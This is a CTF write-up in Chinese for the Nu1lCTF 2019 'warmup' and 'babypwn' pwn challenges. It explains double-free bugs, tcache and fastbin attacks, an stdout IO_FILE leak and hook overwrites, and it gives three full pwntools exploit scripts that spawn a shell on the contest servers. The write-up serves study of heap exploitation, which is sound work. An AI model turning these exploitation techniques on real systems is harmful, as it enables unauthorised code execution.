2019 Nu1lCTF warmup + babypwn

2019 Nu1lCTF warmup , babypwn wp

warmup

题目审计

这题开局还有4秒的sleep,真实恶心,拿到shell后flag文件名还是会变的

本地调试可以把sleep和alarm patch掉


在add功能中chunk的size不由我们控制,固定0x40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 add()
{
signed int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && chunk_list[i]; ++i )
;
if ( i <= 9 )
{
chunk_list[i] = malloc(0x40uLL);
printf("content>>");
my_input((void *)chunk_list[i], 0x40);
puts("done!");
}
else
{
puts("full!");
}
return __readfsqword(0x28u) ^ v2;
}

在delete功能中存在double free的行为,只要ptr存在,即可free,因此可以针对一个chunk,连续free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 delete()
{
int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("index:");
idx = read_num();
if ( idx >= 0 && idx <= 9 )
{
if ( chunk_list[idx] )
ptr = (void *)chunk_list[idx];
if ( ptr )
{
free(ptr); // double free
chunk_list[idx] = 0LL;
puts("done!");
}
else
{
puts("no such note!");
}
}
else
{
puts("invalid");
}
return __readfsqword(0x28u) ^ v2;
}

程序没有show功能,因此无法直接获取地址信息

考虑利用修改IOFILE来泄漏信息,但是这里需要一个指向libc的指针,unsortedbin就很合适,但是这里chunk的size不受控

但是我们可以利用double free的效果,来修改next指向可以控制某个chunk的size的位置,修改其为fastbin范围以外的值,多次free填满tcahche,后面的就会进入unsortedbin

接着申请小chunk就可以带出libc的地址,爆破1/16(可能是吧)指去stdout

同样利用double free的效果改一个chunk的next指向带着libc的chunk,从而将其链上tcache

申请到stdout的地址时,写入

1
p64(0xfbad3c80)+p64(0)*3+p8(0)

接着就可以泄漏出libc地址,常规的利用next修改free hook拿shell

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
# p = process("./warmup")
# context.log_level = 'debug'
libc = ELF("./libc-2.27.so")


def add(cont):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil(">>")
p.send(cont)


def delete(idx):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))


def modify(idx, cont):
p.recvuntil(">>")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(">>")
p.send(cont)


while 1:
try:
p = remote("47.52.90.3", "9999")
add(p64(0)*7+p64(0x51))
add('1')
add('2')
add('3')
add('4')
add('/bin/sh')
delete(2)
delete(1)
delete(1)
add('\xb0')
add('1')
add(p64(0)+p64(0xa1)) # 1
for i in range(8):
delete(1)
modify(6, p64(0)+p64(0xa1)+"\x70\x07\xdd")
add("\x60\x27") # <- 2 这里才是爆破,上面不是
delete(3)
delete(3)
delete(0)
delete(0)
add('\xc0')
# context.log_level = 'debug'
# sleep(0.5)
add('1')
add('\x60')
# context.log_level = 'debug'
add(p64(0xfbad3c80)+p64(0)*3+p8(0))
p.recv(8)
libc_base = u64(p.recv(6)+"\x00\x00")-0x3ed8b0
print(hex(libc_base))
delete(0)
modify(3, p64(libc_base+libc.symbols["__free_hook"]))
add("1")
add(p64(libc_base+libc.symbols["system"]))
# context.log_level='debug'
delete(5)
p.sendline("cat flag54509")
p.interactive()
except:
context.log_level = 'info'
p.close()

babypwn

赛后做出来的,这里没有开启PIE

题目审计

这题也存在double free的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 throw()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("index:");
v1 = read_num();
if ( v1 > 9 )
{
puts("invalid index!");
exit(0);
}
free(*((void **)chunk_list[v1] + 2)); // double free
return __readfsqword(0x28u) ^ v2;
}

同样也没有show功能,还是考虑IOFILE泄漏libc

值得注意的是这道题不会free后不清空chunk list,只能存放10个非0值,因此得控制chunk list

chunk list头上有三个IOFILE的指针,可以利用这里的0x7f来存一个chunk,从而控制chunk list

并且在末尾按照题目结构埋下方便日后清空chunk list的指针

1
2
3
4
5
6
7
8
9
10
0x602020:	0x00007f0edce20620	0x0000000000000000  <- stdout
0x602030: 0x00007f0edce1f8e0 0x0000000000000000 <- stdin
0x602040: 0x00007f0edce20540 0x3332310000000000 <- stderr
0x602050: 0x0000000000000000 0x0000000000000051
0x602060: 0x0000000000000000 0x0000000000000000 <-chunk list
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000602090 <-free时是free这个地址+0x10
0x6020a0: 0x0000000000602060 0x0000000000000021 <-也就是这前8个字符,这里指向chunk list
0x6020b0: 0x0000000000000000 0x0000000000000000

通过free这个fake chunk与malloc就可以刷新chunk list

1
'\x00'*0x38+p64(0x602090)+p64(0x602060)

这样有7个chunk是受支配,不过要保留一个用来刷新chunk list

接着就是利用double free来malloc去stdout结构体,这里要利用stdout上面的stderr中的一个错位来malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/20gx 0x7ffff7dd2620-0x60
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007ffff7dd3770
0x7ffff7dd25d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>: 0x00007ffff7dd1660 0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dd06e0
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
pwndbg> x/2gx 0x7ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f

修改stdout为

1
p64(0xfbad3c80)+p64(0)*3+p8(0)

泄漏出libc后就fastbin attack到malloc hook写one gadget就好了

不过我在本地试的时候,one gadget都不可用,都有一些限制

1
2
3
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

用了这个one gdaget,需要rsp+0x30处为0,调试发现这里不为0,但是他上面3个偏移处是0

用到realloc来调整栈

在realloc中会是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000000846C0                 push    r15             
.text:00000000000846C2 push r14
.text:00000000000846C4 push r13
.text:00000000000846C6 push r12
.text:00000000000846C8 mov r13, rsi
.text:00000000000846CB push rbp
.text:00000000000846CC push rbx
.text:00000000000846CD mov rbx, rdi
.text:00000000000846D0 sub rsp, 38h
.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB mov rax, [rax]
.text:00000000000846DE test rax, rax
.text:00000000000846E1 jnz loc_848E8

.text:00000000000848E8 mov rdx, [rsp+68h]
.text:00000000000848ED call rax

所以这里从0x846CC开始执行,push三次,就可以满足[rsp+0x30] == NULL

所以就把malloc_hook改到libc中0x846CC处,再把realloc_hook改为one gadget,即可get shell

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

def c(size,cont='1\n'):
p.sendlineafter(":","1")
p.sendlineafter(":","name")
p.sendlineafter(":",str(size))
p.sendafter(":",cont)

def d(idx):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
while True:
try:
p=process("./BabyPwn")
c(0x68)
c(0x68)
c(0x10)
d(0)
d(1)
d(0)
c(0x68,p64(0x60203d))
c(0x68)
c(0x68)
c(0x68,'123'+p64(0)+p64(0x51)+p64(0)*7+p64(0x602090)+p64(0x602060)+p64(0x21))
d(7)
c(0xf0) # 0
c(0x10) # 1
d(0)
c(0x68,'\xdd\x25') # 2
c(0x68) # 3
c(0x68) # 4
d(3)
d(4)
d(3)
c(0x48,'\x00'*0x38+p64(0x602090)+p64(0x602060))
c(0x68,'\xb0\x32')
c(0x68)
c(0x68)
c(0x68)
c(0x68,'111'+p64(0)*6+p64(0xfbad3c80)+p64(0)*3+p8(0))
# print hexdump(p.recv())
p.recvuntil("\x7f\x00\x00")
libc_base=u64(p.recv(6)+"\x00\x00")-0x3c56a3
print hex(libc_base)
d(7)
c(0x48,'\x00'*0x38+p64(0x602090)+p64(0x602060))
c(0x68)
c(0x68)
d(0)
d(1)
d(0)
c(0x68,p64(libc_base+0x3c4aed))
c(0x68)
c(0x68)
c(0x68,'123'+p64(0)+p64(libc_base+0x4526a)+p64(0x846C6+libc_base))
p.sendlineafter(":","1")
p.interactive()
except:
p.close()

看SU的一位师傅的WP,发现他直接利用bss上的iofile指针,这样就省去了爆破,比赛时我杨校长也有这么说,没get到点,我太菜了

这里贴一下这位师傅的EXP吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context(os = "linux", arch = "amd64")
context.log_level = 'debug'

def add(name, length, content):
r.send('1')
r.sendafter('Member name:', name)
r.sendafter('Description size:', str(length))
r.sendafter('Description:', content)
r.recvuntil('choice:')

def dele(index):
r.send('2')
r.sendafter('index:', str(index))
r.recvuntil('choice:', timeout = 1)

#r = process('./BabyPwn')
r = remote("49.232.101.41", "9999")
r.recvuntil('choice:')

add("a" * 0x10, 0x60, "b" * 0x60)#0
add("a" * 0x10, 0x60, "b" * 0x60)#1
dele(0)
dele(1)
dele(0)
add("a" * 0x10, 0x60, p64(0x60201d))#2
add("a" * 0x10, 0x60, p64(0))#3
add("a" * 0x10, 0x60, p64(0))#4
add("a" * 0x10, 0x60, "a" * 3 + p64(0) + p64(0x71) + "\xdd")#5
dele(0)
dele(1)
dele(0)
add("a" * 0x10, 0x60, p64(0x60203d))#6
add("a" * 0x10, 0x60, p64(0))#7
add("a" * 0x10, 0x60, p64(0))#8
add("a" * 0x10, 0x60, p64(0) * 0xc)#9

add("a" * 0x10, 0x60, "b" * 0x60)#0
add("a" * 0x10, 0x60, "b" * 0x60)#1
dele(0)
dele(1)
dele(0)
add("a" * 0x10, 0x60, p64(0x602030))#2
add("a" * 0x10, 0x60, p64(0))#3
add("a" * 0x10, 0x60, p64(0))#4
add("a" * 0x10, 0x60, p64(0) * 0x2 + p64(0x71) + p64(0) * 0x9)#5

r.send('1')
r.sendafter('Member name:', "a" * 0x10)
r.sendafter('Description size:', str(0x60))
r.sendafter('Description:', "a" * 3 + p64(0) * 6 + p64(0xfbad3887) + p64(0) * 3 + p8(0x88))
libc = u64(r.recv()[:8]) - 0x3c48e0
#0

add("a" * 0x10, 0x60, "b" * 0x60)#1
add("a" * 0x10, 0x60, "b" * 0x60)#2
dele(2)
dele(1)
dele(2)
add("a" * 0x10, 0x60, p64(0x602048))#3
add("a" * 0x10, 0x60, p64(0))#4
add("a" * 0x10, 0x60, p64(0))#5
add("a" * 0x10, 0x60, p64(0) * 0xc)#6

add("a" * 0x10, 0x60, "b" * 0x60)#0
add("a" * 0x10, 0x60, "b" * 0x60)#1
dele(0)
dele(1)
dele(0)
add("a" * 0x10, 0x60, p64(libc + 0x3c4b10 - 0x23))#2
add("a" * 0x10, 0x60, p64(0))#3
add("a" * 0x10, 0x60, p64(0))#4
add("a" * 0x10, 0x60, "0" * 0x13 + p64(libc + 0xf02a4))#5

dele(0)
r.send('2')
r.sendafter('index:', str(0))

#gdb.attach(r)
print "libc: " + hex(libc)

r.interactive()

跑了一次发现是直接double free引发报错拿shell,厉害


  IOFILEheappwntcache

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×